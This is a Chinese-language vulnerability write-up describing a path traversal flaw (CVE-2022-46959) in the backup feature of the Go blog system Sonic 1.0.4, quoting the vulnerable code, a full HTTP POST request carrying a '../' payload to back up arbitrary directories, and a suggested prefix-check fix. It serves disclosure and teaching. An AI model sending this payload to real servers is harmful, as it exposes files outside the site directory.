Go代码审计-Sonic
成功获取到垃圾的CVE编号:cve-2022-46959
前言
在 V2EX 看到帖子知道是 go 开发的博客系统,在B站看过几集视频的我粗略看了下代码好像有漏洞,尝试申请一个 CVE 看一看。
审计
源码:https://github.com/go-sonic/sonic 版本 1.0.4
直接执行 go run main.go
运行程序,然后进行安装。
在 handler/route.go 查看一下路由,发现备份功能的代码在 75 行
backupRouter := authRouter.Group("/backups")
backupRouter.POST("/work-dir", s.wrapHandler(s.BackupHandler.BackupWholeSite))
搜索 BackupWholeSite
方法,在 service/impl/backup.go
发现相关代码。
BackupWholeSite
方法传入一个数组名为:toBackupItems- 66行 遍历 toBackupItems 然后拼接路径
toBackupPath := filepath.Join(b.Config.Sonic.WorkDir, toBackupItem)
因为是直接拼接可以使用 ../ 进行跨目录备份
toBackupItem == ../../../../home/kali/Documents
b.Config.Sonic.WorkDir == /home/kali/Desktop/sonic
toBackupPath == /home/kali/Desktop/sonic/../../../../home/kali/Documents
toBackupPath == /home/kali/Documents
- 把 toBackupPath 添加到 toBackupPaths , 70行 把 toBackupPaths 传入到 ZipFile 方法
func (b *backupServiceImpl) BackupWholeSite(ctx context.Context, toBackupItems []string) (*dto.BackupDTO, error) {
backupFilename := consts.SonicBackupPrefix + time.Now().Format("2006-01-02-15-04-05") + util.GenUUIDWithOutDash() + ".zip"
backupFilePath := config.BackupDir
if _, err := os.Stat(backupFilePath); os.IsNotExist(err) {
err = os.MkdirAll(backupFilePath, os.ModePerm)
if err != nil {
return nil, xerr.NoType.Wrap(err).WithMsg("create dir err")
}
} else if err != nil {
return nil, xerr.NoType.Wrap(err).WithMsg("get fileInfo")
}
backupFile := filepath.Join(backupFilePath, backupFilename)
toBackupPaths := []string{}
for _, toBackupItem := range toBackupItems {
toBackupPath := filepath.Join(b.Config.Sonic.WorkDir, toBackupItem)
toBackupPaths = append(toBackupPaths, toBackupPath)
}
err := util.ZipFile(backupFile, toBackupPaths...)
if err != nil {
return nil, err
}
return b.buildBackupDTO(ctx, string(service.WholeSite), backupFile)
}
util/file.go
跟进 ZipFile 方法,根据传入的目录进行压缩打包
利用
通过 ../ 跨目录进行备份
POST /api/admin/backups/work-dir HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 35
Admin-Authorization: 0996683e-0fab-46ec-936d-953d43be8048
Accept: application/json, text/plain, */*
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="96"
sec-ch-ua-platform: "Linux"
Content-Type: application/json
Origin: http://127.0.0.1:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8080/admin/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
["../../../../home/kali/Documents"]
修复建议
service/impl/backup.go 添加一个路径判断,只能备份网站目录下的文件。http://bit.ly/2MsjAWE
if !strings.HasPrefix(toBackupPath, b.Config.Sonic.WorkDir) {
return nil, xerr.NoType.New("").WithMsg(toBackupPath + " illegal file path").WithStatus(xerr.StatusInternalServerError)
}